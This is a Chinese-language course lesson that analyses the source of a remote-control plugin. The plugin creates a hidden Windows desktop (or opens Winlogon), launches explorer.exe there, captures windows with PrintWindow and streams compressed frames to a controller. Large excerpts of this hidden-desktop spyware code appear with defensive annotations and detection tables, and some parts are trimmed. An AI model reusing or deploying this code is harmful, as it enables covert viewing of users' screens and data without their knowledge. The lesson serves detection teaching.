34 / 52 主插件与远程能力

第 34 课:主插件:后台桌面与后台窗口

# 第 34 课:主插件:后台桌面与后台窗口

免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。

后台桌面与后台窗口是一组需要放在同一条链路中理解的能力:前者关注桌面对象、线程桌面和后台 GUI 环境,后者关注窗口枚举、窗口内容读取、窗口消息控制和剪贴板风险。本课从 Windows 桌面对象的历史和系统模型讲起,再看源码如何创建桌面、启动进程、合成画面、发送帧,最后理解窗口控制、剪贴板、显示设置和能力限制。

本课只做安全工程学习和防御分析。后台桌面不是普通截图:它尝试创建或打开一个独立桌面对象,并在该桌面中启动 GUI 进程、枚举窗口、读取窗口绘制内容、压缩发送。合法远程协助工具必须让用户可感知、可授权、可退出;任何绕开用户感知的后台查看或后台控制能力都应被企业按高风险处理。

# 1. 本课学习目标

读完本课,你应该能理解:

  1. 后台桌面的实现原理、技术历史,以及它和正常桌面的核心差异。
  2. CScreenHideManager 如何创建工作线程、控制线程和后台桌面会话。
  3. OpenDesktopCreateDesktopSetThreadDesktopCreateProcess 为什么是关键风险信号。
  4. CScreenSpy 如何通过窗口枚举、PrintWindowBitBlt 合成后台桌面画面。
  5. 后台屏幕画面到底如何“出来”:从桌面对象、窗口绘制、内存 DC、DIB、JPEG 到网络帧。
  6. 后台窗口控制、剪贴板读写、显示设置修改为什么会扩大隐私和业务风险。
  7. 后台桌面有哪些能力限制,哪些场景会看不到、控不了或出现空白画面。
  8. 企业如何从桌面对象、图形 API、进程创建、压缩数据流和远程查看提示中建立检测。

# 2. 源码目录和文件

路径 作用
主插件\后台屏幕\后台屏幕.sln 后台屏幕插件解决方案
主插件\后台屏幕\后台屏幕\后台屏幕.cpp 插件入口、网络连接、导出函数
主插件\后台屏幕\后台屏幕\ScreenHideManager.h 管理器类、命令结构、线程入口
主插件\后台屏幕\后台屏幕\ScreenHideManager.cpp 后台桌面生命周期、帧发送、命令处理
主插件\后台屏幕\后台屏幕\ScreenSpy.h 屏幕采集类、令牌和命令枚举
主插件\后台屏幕\后台屏幕\ScreenSpy.cpp 窗口枚举、PrintWindow、JPEG、变化区域扫描
主插件\后台窗口\后台窗口.sln 后台窗口插件解决方案,能力面与后台屏幕高度相近
主插件\后台窗口\后台窗口\后台窗口.cpp 后台窗口插件入口、网络连接、导出函数
主插件\后台窗口\后台窗口\ScreenHideManager.cpp 后台窗口工作线程、窗口命令、剪贴板、分辨率和发送
主插件\后台窗口\后台窗口\ScreenSpy.cpp 后台窗口枚举、PrintWindow、JPEG、变化区域扫描
主插件\后台屏幕\后台屏幕\dwmapi.h DWM 相关头文件
主插件\后台屏幕\后台屏幕\jpeglib.hturbojpeg.h JPEG 编码依赖,后台窗口目录也带有同名头文件

依赖说明: 本课同时涉及 Windows Desktop API、DWM/GDI、JPEG 编码和 zlib 压缩。Desktop API 负责创建或切换桌面对象,DWM/GDI 和 PrintWindow/BitBlt 负责取窗口画面,JPEG/zlib 负责把图像变成适合传输的二进制数据。防御侧应把这些依赖放在同一条链路里看,而不是只判断某个库是否存在。

2. 源码目录和文件(配图)

# 3. 后台桌面的技术历史和系统模型

理解这类源码之前,先补一个 Windows 图形子系统概念:Window StationDesktop

Windows NT 系列为了隔离登录界面、用户桌面、屏幕保护、服务和不同会话,引入了窗口站和桌面对象。一个窗口站下面可以有多个桌面;桌面对象负责承载窗口、菜单、Hook、输入队列等 GUI 资源。普通用户日常看到的大多是交互式窗口站 WinSta0 下的 Default 桌面;登录、锁屏、UAC 安全提示等场景可能使用更特殊的桌面,例如 Winlogon 或安全桌面。

这个设计本身不是恶意功能。它最初服务于系统隔离、登录安全、服务隔离和多用户会话管理。但在安全工程里,一旦未知进程主动创建非默认桌面、把 GUI 进程放进去、再对该桌面做窗口读取和远程发送,就不能再把它当成普通截图看待。

从发展脉络看,可以把桌面对象理解成三层:

历史阶段 系统目的 安全工程关注点
Windows NT/2000 时代 建立 Window Station/Desktop 隔离模型 GUI 对象与进程权限、会话边界绑定
Windows XP/2003 时代 服务和交互式桌面边界较弱,远控工具大量使用 GDI 截屏 服务交互桌面、隐藏窗口、剪贴板成为风险点
Vista 之后 Session 0 隔离、UAC 安全桌面、DWM 合成普及 直接跨会话/跨完整性级别变难,PrintWindow、DWM、权限边界更重要
Windows 10/11 多会话、UWP/DirectX/GPU 合成、受保护内容更多 采集可能空白、缺帧或受权限限制,检测要结合 API 链和用户可见性

第 24、25、26 课讲的是当前桌面采集:高速屏幕偏 JPEG/zlib 全量帧,差异屏幕偏变化块,娱乐屏幕偏 H.264 视频流。本课多了一个桌面对象层:

对比项 普通屏幕查看 后台桌面/后台窗口
所在桌面 通常是 WinSta0\Default 可能是 Winlogon 或自建桌面名
用户是否看得到 用户正在看的就是采集对象 用户不一定能看到该桌面的窗口
输入焦点 键鼠输入通常进入当前活动桌面 线程必须绑定对应桌面,输入/窗口查找受桌面边界影响
关键 API GetDCBitBlt OpenDesktopCreateDesktopSetThreadDesktopSTARTUPINFO.lpDesktopPrintWindow
进程行为 当前桌面采集线程 可能向后台桌面启动 explorer.exe 或其他 GUI 程序
画面来源 显示器当前可见画面或桌面 DC 目标桌面上的窗口绘制内容被逐个打印并合成
风险重点 隐私画面泄露 会话隔离被绕开、后台查看、隐蔽窗口控制、剪贴板风险

企业检测时,不应只看图形 API。后台桌面/后台窗口的高价值线索是:桌面对象创建、线程切换桌面、进程被指定到新桌面运行、随后进行窗口采集、窗口控制和网络发送。

# 4. 插件入口:连接成功后进入 CScreenHideManager

入口结构和其他主插件相同:根据配置创建 TCP/UDP socket,连接成功后创建管理器。

// 源码位置:主插件\后台屏幕\后台屏幕\后台屏幕.cpp:7-43
// 防御分析注释:连接成功后创建 CScreenHideManager。
// 后台屏幕风险不能只看网络连接,还要继续追踪它是否创建隐藏桌面和屏幕采集线程。
struct plugInfo
{
    char mark[30];
    TCHAR szAddress[255];
    DWORD szPort;
    BOOL IsTcp;
    BOOL RunDllEntryProc;
} MyInfo =
{
    "plugmark",
    _T("127.0.0.1"),
    6666,
    1,
    0,
};

DWORD WINAPI MainThread(LPVOID dllMainThread)
{
    ISocketBase* socketClient;
    if (MyInfo.IsTcp == 1)
        socketClient = new CTcpSocket();
    else
        socketClient = new CUdpSocket();

    if (socketClient->Connect(MyInfo.szAddress, MyInfo.szPort))
    {
        CScreenHideManager manager(socketClient);
        socketClient->run_event_loop();
    }

    SAFE_DELETE(socketClient);
    if (MyInfo.RunDllEntryProc)
        ExitProcess(0);
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

从防御角度看,这里只是起点。真正的风险在 CScreenHideManager::WorkThread 中。

# 5. 管理器类:后台桌面会话的状态机

ScreenHideManager.h 显示了该模块的核心状态:工作线程、控制线程、屏幕采集对象、FPS、算法、剪贴板和控制消息。

// 源码位置:主插件\后台屏幕\后台屏幕\ScreenHideManager.h:25-90
// 防御分析注释:CScreenHideManager 同时管理后台桌面、屏幕帧、剪贴板和远程控制消息。
// 这不是普通截图工具,而是一个长期运行的后台屏幕会话状态机。
struct MYtagMSG
{
    UINT lParam;
    UINT message;
    long long wParam;
    int x;
    int y;
};

class CScreenHideManager : public CManager
{
public:
    CScreenHideManager(ISocketBase* pClient);
    virtual ~CScreenHideManager();
    virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);

    void sendBITMAPINFO();
    void sendsize();
    void sendFirstScreen();
    void sendNextScreen();
    void Loop_Screen();
    bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName);
    void DestroyHideScreen();

    bool m_bIsWorking;
    long m_oldwidth, m_oldheigh;

private:
    BYTE m_bAlgorithm;
    int m_biBitCount;
    int m_fps;
    HANDLE m_hWorkThread, m_hBlankThread;
    CScreenSpy* m_pScreenSpy;
    HDC m_hDeskTopDC;

    void ResetScreen(int biBitCount = 32);
    void ProcessCommand(LPBYTE lpBuffer, UINT nSize);
    static unsigned __stdcall WorkThread(LPVOID lparam);
    static unsigned __stdcall ControlThread(LPVOID lparam);
    void UpdateLocalClipboard(char* buf, int len);
    void SendLocalClipboard();
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

# 6. 构造函数:创建两个长期线程

构造函数没有立即创建后台桌面,而是启动工作线程和控制线程。

// 源码位置:主插件\后台屏幕\后台屏幕\ScreenHideManager.cpp:130-146
// 防御分析注释:对象创建后立即启动 WorkThread 和 ControlThread。
// 后续桌面对象创建、帧发送、分辨率监控都发生在线程中。
CScreenHideManager::CScreenHideManager(ISocketBase* pClient) : CManager(pClient)
{
    m_buser = FALSE;
    m_biBitCount = 32;
    m_fps = 1;
    m_bIsWorking = true;
    m_bIsCaptureLayer = false;
    m_hDeskTopDC = GetDC(GetDesktopWindow());
    m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN);
    m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN);
    m_MYtagMSG = nullptr;
    m_MYtagMSGsize = sizeof(MYtagMSG);

    m_hWorkThread = (HANDLE)_beginthreadex(NULL, 0, WorkThread, this, 0, NULL);
    m_hBlankThread = (HANDLE)_beginthreadex(NULL, 0, ControlThread, this, 0, NULL);
    m_buser = TRUE;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

这段代码对应的风险组合是:

行为 防御含义
GetDC(GetDesktopWindow()) 获取桌面图形上下文
_beginthreadex(WorkThread) 后台屏幕会话开始
_beginthreadex(ControlThread) 持续监测分辨率和连接状态
m_fps 影响帧发送频率和网络形态

# 7. 后台桌面实现原理和生命周期

后台桌面的核心不是“把当前屏幕藏起来”,而是让当前线程进入另一个桌面对象,再在那个桌面对象里创建或读取窗口。源码中的关键动作集中在 WorkThread

  1. 生成桌面名。
  2. 尝试打开 Winlogon 桌面。
  3. 如果打开失败,创建新的桌面对象。
  4. 在该桌面启动 explorer.exe,让桌面上出现 shell 和窗口环境。
  5. 调用 SetThreadDesktop,把当前工作线程绑定到该桌面。
  6. 创建 CScreenSpy,后续窗口枚举、PrintWindowBitBlt 都围绕这个桌面上下文运行。
  7. 发送位图信息、尺寸、首帧和后续帧。
  8. 停止后清理后台桌面。

7. 后台桌面实现原理和生命周期(配图)

从读源码的角度,可以把它拆成两条线:

线索 代码动作 防御含义
桌面对象线 OpenDesktopCreateDesktopSetThreadDesktop 进程开始操作非默认桌面
GUI 进程线 STARTUPINFO.lpDesktopCreateProcess 子进程被指定到某个桌面运行
画面采集线 CScreenSpyEnumWindowsTopToDownPrintWindowBitBlt 把目标桌面窗口合成到内存图像
传输线 JPEG、zlib compressTOKEN_*_HIDE 图像变成压缩二进制后持续发送
// 源码位置:主插件\后台屏幕\后台屏幕\ScreenHideManager.cpp:718-764
// 防御分析注释:这是后台桌面专题的核心生命周期。
// 读这段代码时不要只看截图 API,要把“桌面对象 -> 后台进程 -> 线程绑定 -> 窗口采集 -> 网络发送”串起来。
unsigned CScreenHideManager::WorkThread(LPVOID lparam)
{
    CScreenHideManager* pThis = (CScreenHideManager*)lparam;

    memset(g_szHideDesktopName, 0, sizeof(g_szHideDesktopName));

    // 防御分析注释:桌面名来自主机标识,说明该桌面不是系统默认固定名称。
    // 企业排查时可以关注进程创建的非 Default 桌面名称和主机标识、进程名之间的关系。
    GetBotId(g_szHideDesktopName);

    // 防御分析注释:尝试打开 Winlogon 桌面是非常敏感的行为。
    // Winlogon/安全桌面通常承载登录、锁屏或安全交互,普通业务软件不应主动获取 GENERIC_ALL 权限。
    g_hHideDesktop = OpenDesktop(_T("Winlogon"), 0, TRUE, GENERIC_ALL);
    if (g_hHideDesktop == NULL)
    {
        // 防御分析注释:打开失败后创建自定义桌面。
        // CreateDesktop 本身是合法 API,但未知进程创建后又采集窗口画面,应按高风险链路调查。
        g_hHideDesktop = CreateDesktop(g_szHideDesktopName, NULL, NULL, 0, GENERIC_ALL, NULL);

        TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
        GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
        _tcscat_s(szExplorerFile, MAX_PATH * 2 - 1, _T("\\explorer.exe"));

        // 防御分析注释:在后台桌面中启动 explorer,是非常关键的进程行为线索。
        // 它的目的不是显示给当前用户看,而是让新桌面具备 shell/窗口环境,便于后续窗口枚举和绘制。
        pThis->LaunchApplication(szExplorerFile, g_szHideDesktopName);
    }

    // 防御分析注释:SetThreadDesktop 只影响当前线程。
    // 这一步之后,该线程调用窗口枚举、窗口查找、PrintWindow 等 API 时,会围绕绑定的桌面上下文工作。
    if (!SetThreadDesktop(g_hHideDesktop))
        return 0;

    // 防御分析注释:CScreenSpy 是后续画面生成对象。
    // 它不会“神奇读取所有屏幕”,而是基于当前桌面上下文枚举窗口并合成内存帧。
    pThis->m_pScreenSpy = new CScreenSpy(g_hHideDesktop);
    pThis->m_pScreenSpy->SetFps(pThis->m_fps);

    // 防御分析注释:先发位图元数据,再等待控制端打开,再发送尺寸和首帧。
    // 网络侧看到的是协议令牌和压缩二进制,主机侧看到的是桌面/窗口/图形 API。
    pThis->sendBITMAPINFO();
    if (pThis->m_bIsWorking)
        pThis->WaitForDialogOpen();

    pThis->sendsize();
    pThis->sendFirstScreen();
    pThis->m_bIsWorking = true;

    while (pThis->m_bIsWorking)
    {
        // 防御分析注释:循环发送后续帧,形成持续屏幕流。
        // 即使网络流量不大,也可能是差异帧或变化区域压缩后的结果。
        pThis->sendNextScreen();
    }

    pThis->DestroyHideScreen();
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61

这段代码不是普通远程协助工具应有的默认行为。合法工具如果需要多桌面或会话隔离,必须有明确授权、用户提示、管理员审批和日志留存。

对新手来说,最容易误解的一点是:后台桌面不是另一块物理显示器。它更像同一会话内的另一个 GUI 容器。这个容器里可以有窗口、菜单、输入队列和进程,但用户当前看到的 Default 桌面并不会自动显示这些窗口。只有线程绑定到目标桌面后,窗口枚举和窗口绘制读取才会落到对应桌面上。

# 8. 在后台桌面启动进程

LaunchApplication 使用 STARTUPINFO.lpDesktop 指定进程运行在哪个桌面。新手可以把它理解成:进程不是简单被启动,而是被放进指定的 GUI 容器里运行。这个容器如果不是 Default,用户在正常桌面上通常不会直接看到它的窗口。

这也是后台桌面和正常桌面的关键分界点:

对比项 正常桌面进程 后台桌面进程
lpDesktop 通常为空或指向默认桌面 明确指向自定义桌面名
用户可见性 用户能在当前桌面看到窗口 用户不一定能看到窗口
窗口枚举范围 当前线程所属桌面 绑定后的目标桌面
合法使用前提 正常应用启动 必须有明确授权、提示和记录
// 源码位置:主插件\后台屏幕\后台屏幕\ScreenHideManager.cpp:1092-1159
// 防御分析注释:sInfo.lpDesktop 指定目标桌面,这是判断“进程被放到哪里运行”的关键字段。
// 普通软件很少需要把 explorer.exe 或 GUI 进程启动到非 Default 桌面。
bool CScreenHideManager::LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName)
{
    STARTUPINFO sInfo = { 0 };
    PROCESS_INFORMATION pInfo = { 0 };

    sInfo.cb = sizeof(sInfo);

    // 防御分析注释:如果这里不是 NULL,也不是 Default,
    // 就说明子进程会出现在一个被指定的桌面对象中。
    sInfo.lpDesktop = pszDesktopName;

    // 防御分析注释:CreateProcess 和 lpDesktop 同时出现时,要记录父进程、子进程、桌面名和创建时间。
    // 若随后出现 PrintWindow/JPEG/zlib/外联发送,基本就形成了后台查看链路。
    BOOL bCreateProcessReturn = CreateProcess(
        pszApplicationFilePath,
        NULL,
        NULL,
        NULL,
        FALSE,
        0,
        NULL,
        NULL,
        &sInfo,
        &pInfo);

    return bCreateProcessReturn ? true : false;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

检测时要记录:

字段 为什么重要
父进程 谁创建了后台桌面进程
子进程 是否是 explorer.exe、浏览器或其他 GUI 程序
lpDesktop 是否不是默认桌面
创建时间 是否紧跟网络连接或插件加载
后续行为 是否马上出现 PrintWindow、JPEG、zlib 和发送

# 9. 帧发送链路

后台桌面的发送流程和前面屏幕课类似:先发位图信息和尺寸,再发首帧,最后循环发送后续帧。真正要理解的是“画面如何从后台桌面变成网络数据”:

后台桌面句柄
  -> SetThreadDesktop 让工作线程进入该桌面
  -> CScreenSpy 枚举该桌面的窗口
  -> PrintWindow 要求每个窗口把自身绘制到临时 DC
  -> BitBlt 把多个窗口合成到内存 DC/DIB
  -> BMP_JPG 把像素压缩成 JPEG
  -> zlib compress 再压缩帧数据
  -> TOKEN_FIRSTSCREEN_HIDE / TOKEN_NEXTSCREEN_HIDE 发给对端
1
2
3
4
5
6
7
8

所以,“屏幕画面出来了”并不是因为代码直接读取了另一块显示器,而是因为它在目标桌面上下文里重建了一帧窗口合成图。

9. 帧发送链路(配图)

// 源码位置:主插件\后台屏幕\后台屏幕\ScreenHideManager.cpp:635-716
// 防御分析注释:后台桌面采集结果先由 ScreenSpy 生成,再经过 zlib 压缩和 TOKEN_HIDE 封包。
// 这里体现的是传输层;真正的画面生成发生在 ScreenSpy 的窗口枚举和 PrintWindow 里。
void CScreenHideManager::sendBITMAPINFO()
{
    DWORD dwBytesLength = 1 + m_pScreenSpy->getBitmapInfoSize();
    LPBYTE lpBuffer = new BYTE[dwBytesLength];
    lpBuffer[0] = TOKEN_BITMAPINFO_HIDE;
    memcpy(lpBuffer + 1, m_pScreenSpy->getBitmapInfo(), dwBytesLength - 1);
    Send(lpBuffer, dwBytesLength);
    SAFE_DELETE_AR(lpBuffer);
}

void CScreenHideManager::sendFirstScreen()
{
    DWORD dwBytes;

    // 防御分析注释:getFirstScreen 会枚举窗口并生成首帧缓冲。
    // 防御侧应把这里和 ScreenSpy.cpp 里的 PrintWindow 调用关联分析。
    LPVOID lpFirstScreen = m_pScreenSpy->getFirstScreen(&dwBytes);
    if (dwBytes == 0 || !lpFirstScreen)
        return;

    // 防御分析注释:zlib 压缩会让网络侧看不到明文图像,但主机侧仍能看到图形 API 和编码行为。
    unsigned long destLen = (unsigned long)((double)dwBytes * 1.001 + 12);
    LPBYTE pDest = new BYTE[destLen];
    if (compress(pDest, &destLen, (byte*)lpFirstScreen, dwBytes) != Z_OK)
    {
        SAFE_DELETE_AR(pDest);
        return;
    }

    DWORD dwBytesLength = 1 + destLen + 4;
    LPBYTE lpBuffer = new BYTE[dwBytesLength];
    lpBuffer[0] = TOKEN_FIRSTSCREEN_HIDE;
    memcpy(lpBuffer + 1, &dwBytes, 4);
    memcpy(lpBuffer + 5, pDest, destLen);
    Send(lpBuffer, dwBytesLength);

    SAFE_DELETE_AR(lpBuffer);
    SAFE_DELETE_AR(pDest);
}

void CScreenHideManager::sendNextScreen()
{
    DWORD dwBytes;

    // 防御分析注释:getNextScreen 生成后续帧,通常只携带变化区域或压缩后的变化结果。
    // 因此低带宽、低频率不等于风险低。
    LPVOID lpNetScreen = m_pScreenSpy->getNextScreen(&dwBytes);
    if (dwBytes == 0 || !lpNetScreen)
        return;

    unsigned long destLen = (unsigned long)((double)dwBytes * 1.001 + 12);
    LPBYTE pDest = new BYTE[destLen];
    if (compress(pDest, &destLen, (byte*)lpNetScreen, dwBytes) != Z_OK)
    {
        SAFE_DELETE_AR(pDest);
        return;
    }

    DWORD dwBytesLength = 1 + destLen + 4;
    LPBYTE lpBuffer = new BYTE[dwBytesLength];
    lpBuffer[0] = TOKEN_NEXTSCREEN_HIDE;
    memcpy(lpBuffer + 1, &dwBytes, 4);
    memcpy(lpBuffer + 5, (const char*)pDest, destLen);
    Send(lpBuffer, dwBytesLength);

    SAFE_DELETE_AR(lpBuffer);
    SAFE_DELETE_AR(pDest);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71

网络侧看到的不是明文窗口内容,而是压缩后的二进制帧数据。更有效的检测方式是将网络发送和前面的桌面/窗口 API 关联。

# 10. ScreenSpy:窗口打印式采集

后台桌面不适合使用传统截屏方式。传统截屏通常围绕 GetDC(NULL)GetDC(GetDesktopWindow())BitBlt 这类 API 展开,抓取的是当前正在显示器上输出的桌面最终画面。这对第 24、25、26 课那种当前桌面采集比较合适,但对后台桌面并不可靠。

原因在于:后台桌面不是另一块正在输出画面的物理显示器。它只是 Windows 会话里的另一个桌面对象,里面可以有窗口、菜单和输入队列,但如果这个桌面没有被切换到前台,用户的显示器上并不会出现它的最终合成画面。此时单纯对“屏幕 DC”做 BitBlt,更可能得到当前用户可见的 Default 桌面、空白区域、旧画面,或者与目标后台桌面无关的内容。

所以源码采用的是“窗口打印式采集”:先枚举目标桌面中的窗口,再对每个可见窗口调用 PrintWindow,要求窗口把自己的内容绘制到临时内存 DC,最后再用 BitBlt 把这些窗口图像合成到一张完整帧。这里的 BitBlt 仍然存在,但它的角色已经变了:不是从物理屏幕抓最终画面,而是把多个窗口的内存图像拼成一帧。

方式 适合场景 对后台桌面的局限
传统截屏:GetDC(NULL) + BitBlt 当前用户正在看的前台桌面 只能稳定拿到当前输出画面,不一定属于目标后台桌面
桌面窗口 DC:GetDesktopWindow + BitBlt 普通桌面截图或辅助绘制 后台桌面未切前台时,没有稳定的最终可见画面可抓
窗口打印:EnumWindows + PrintWindow + 内存 DC 需要重建某个桌面中的窗口画面 依赖窗口自身绘制响应,遇到 GPU/视频/受保护窗口可能不完整

这类采集方式有一个重要特点:它依赖窗口自身的绘制响应。传统 GDI 窗口通常比较容易被打印;使用 GPU 合成、DirectX、视频叠加、受保护内容或特殊渲染管线的窗口,可能出现黑屏、白屏、旧帧或局部缺失。因此,后台桌面并不等于“无条件看到一切”,它只是把窗口绘制请求、内存位图和压缩发送组合到了一起。

10. ScreenSpy:窗口打印式采集(配图)

// 源码位置:主插件\后台屏幕\后台屏幕\ScreenSpy.cpp:27-83
// 防御分析注释:PrintWindow 可以读取窗口绘制内容,和 BitBlt 合成后形成屏幕帧。
// 这类窗口级采集对聊天窗口、业务系统和浏览器页面都有隐私风险。
static BOOL PaintWindow(HWND hWnd, HDC hDc, HDC hDcScreen)
{
    RECT rect;

    // 防御分析注释:先获取窗口在虚拟屏幕中的位置和大小。
    // 这些坐标决定窗口内容被合成到整帧图像的哪个区域。
    GetWindowRect(hWnd, &rect);

    // 防御分析注释:创建和目标桌面 DC 兼容的内存 DC/位图。
    // 这一步说明画面是在内存中重建出来的,不一定对应用户当前可见桌面。
    HDC hDcWindow = CreateCompatibleDC(hDc);
    HBITMAP hBmpWindow = CreateCompatibleBitmap(hDc, rect.right - rect.left, rect.bottom - rect.top);
    SelectObject(hDcWindow, hBmpWindow);

    // 防御分析注释:PrintWindow 请求目标窗口把自身绘制到 hDcWindow。
    // 这个 API 经常出现在窗口内容读取、后台截图和隐私采集中。
    if (PrintWindow(hWnd, hDcWindow, 0))
    {
        // 防御分析注释:再把单个窗口的内存图像复制到整帧缓冲。
        // 多个窗口按 Z 序合成后,就形成类似桌面截图的一帧画面。
        BitBlt(hDcScreen,
            rect.left - iScreenX,
            rect.top - iScreenY,
            rect.right - rect.left,
            rect.bottom - rect.top,
            hDcWindow,
            0,
            0,
            SRCCOPY);
    }

    DeleteObject(hBmpWindow);
    DeleteDC(hDcWindow);
    return TRUE;
}

static BOOL CALLBACK EnumHwndsPrint(HWND hWnd, LPARAM lParam)
{
    EnumHwndsPrintData* data = (EnumHwndsPrintData*)lParam;

    // 防御分析注释:只处理可见窗口,但“可见”是目标桌面上下文中的可见,不等于当前用户一定看得到。
    if (!IsWindowVisible(hWnd))
        return TRUE;

    PaintWindow(hWnd, data->hDc, data->hDcScreen);

    DWORD style = GetWindowLongA(hWnd, GWL_EXSTYLE);
    SetWindowLongA(hWnd, GWL_EXSTYLE, style | WS_EX_COMPOSITED);
    return TRUE;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

这里的防御重点:

API 风险含义
GetWindowRect 获取窗口位置和大小
CreateCompatibleDC 建立窗口图像缓冲
PrintWindow 请求窗口绘制自身内容
BitBlt 合成到屏幕缓冲
SetWindowLongA 修改窗口扩展样式

# 11. 首帧和变化帧

getFirstScreen 枚举窗口后生成首帧;getNextScreen 枚举窗口后扫描变化区域。

// 源码位置:主插件\后台屏幕\后台屏幕\ScreenSpy.cpp:165-233
// 防御分析注释:每一轮都会枚举窗口并生成图像缓冲。
// 这类行为如果发生在未知进程中,并伴随长连接发送,应按高风险调查。
LPVOID CScreenSpy::getFirstScreen(LPDWORD lpdwBytes)
{
    SelectInputWinStation();
    m_changedOffset = 0;

    BYTE algorithm = (BYTE)m_bAlgorithm;
    WriteChangedBuffer((LPBYTE)&algorithm, sizeof(algorithm));

    data.hDc = m_hDeskTopDC;
    data.hDcScreen = m_hLastMemDC;
    EnumWindowsTopToDown(NULL, EnumHwndsPrint, (LPARAM)&data);

    if (algorithm == COMMAND_SCREEN_ALGORITHM_HOME_HIDE)
    {
        void* bitstream = NULL;
        int bitstreamlen = BMP_JPG(m_nFullWidth, m_nFullHeight, m_biBitCount, m_SendUALITY, m_lpvLastBits, &bitstream);
        if (bitstreamlen > 0)
            WriteChangedBuffer((LPBYTE)bitstream, bitstreamlen);
        if (bitstream)
            free(bitstream);
    }

    *lpdwBytes = m_changedOffset;
    return m_changedBuffer;
}

LPVOID CScreenSpy::getNextScreen(LPDWORD lpdwBytes)
{
    SelectInputWinStation();
    m_changedOffset = 0;

    BYTE algorithm = (BYTE)m_bAlgorithm;
    WriteChangedBuffer((LPBYTE)&algorithm, sizeof(algorithm));

    data.hDc = m_hDeskTopDC;
    data.hDcScreen = m_hCurrMemDC;
    EnumWindowsTopToDown(NULL, EnumHwndsPrint, (LPARAM)&data);

    if (algorithm == COMMAND_SCREEN_ALGORITHM_HOME_HIDE)
        ScanChangedRect(TRUE);

    *lpdwBytes = m_changedOffset;

    while (GetTickCount() - m_dwLastCapture < m_dwSleep)
        Sleep(10);
    InterlockedExchange((LPLONG)&m_dwLastCapture, GetTickCount());
    return m_changedBuffer;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

这说明后台屏幕同时具备两层特征:

  1. 桌面对象层:隐藏桌面、线程桌面、后台进程。
  2. 窗口图像层:枚举窗口、打印窗口、合成图像、压缩发送。

# 12. 变化区域扫描

后续帧不是总是全量发送。代码会扫描差异区域,将变化矩形编码后写入缓冲。

// 源码位置:主插件\后台屏幕\后台屏幕\ScreenSpy.cpp:409-495
// 防御分析注释:变化区域会被复制、JPEG 压缩并写入发送缓冲。
// 低流量不代表无风险,变化区域往往就是用户正在操作的敏感区域。
void CScreenSpy::CopyChangedRect(LPRGNDATA lpRgnData, DWORD dwRgnSize)
{
    LPRECT lpChangedRect = (LPRECT)lpRgnData->Buffer;

    for (int i = 0; i < (int)(lpRgnData->rdh.nCount); i++)
    {
        int nChangedRectWidth = lpChangedRect[i].right - lpChangedRect[i].left;
        int nChangedRectHeight = lpChangedRect[i].bottom - lpChangedRect[i].top;

        m_hRectBitmap = ::CreateDIBSection(m_hDeskTopDC, m_lpbmi_rect, DIB_RGB_COLORS, &m_lpvRectBits, NULL, NULL);
        ::SelectObject(m_hRectMemDC, m_hRectBitmap);

        ::BitBlt(m_hLastMemDC, lpChangedRect[i].left, lpChangedRect[i].top,
            nChangedRectWidth, nChangedRectHeight,
            m_hCurrMemDC, lpChangedRect[i].left, lpChangedRect[i].top, SRCCOPY);

        ::BitBlt(m_hRectMemDC, 0, 0,
            nChangedRectWidth, nChangedRectHeight,
            m_hCurrMemDC, lpChangedRect[i].left, lpChangedRect[i].top, SRCCOPY);

        // 防御分析注释:变化矩形会被 JPEG 编码后写入缓冲。
        // 这里不展开图像重组细节,只用于理解数据形态。
    }
}

BOOL CScreenSpy::ScanChangedRect(BOOL bCopyChangedRect)
{
    // 防御分析注释:按扫描线比较上一帧和当前帧,合并变化区域。
    // 检测侧关注“周期比较 + 图形 API + 压缩发送”的组合。
    return TRUE;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

上面节选做了防御性压缩,保留的是检测需要的结构:区域比较、DIB、BitBlt、JPEG、发送缓冲。

# 13. 后台窗口控制面:从看见窗口到操作窗口

理解完后台桌面的画面生成链路后,还要继续看“后台窗口”的控制面。后台屏幕偏重画面生成,后台窗口进一步把远端输入转换成窗口消息:定位窗口、判断鼠标命中区域、投递消息、移动窗口、读写剪贴板、修改显示设置。对企业来说,这已经不是单纯的屏幕查看,而是窗口级远程控制面。

13. 后台窗口控制面:从看见窗口到操作窗口(配图)

OnReceive 支持刷新、控制、FPS、剪贴板、分辨率、算法、质量和隐藏用户相关命令。下面只保留防御性结构,不提供可直接复用的控制步骤。

// 源码位置:主插件\后台屏幕\后台屏幕\ScreenHideManager.cpp:176-228
// 对应位置:主插件\后台窗口\后台窗口\ScreenHideManager.cpp:176-228
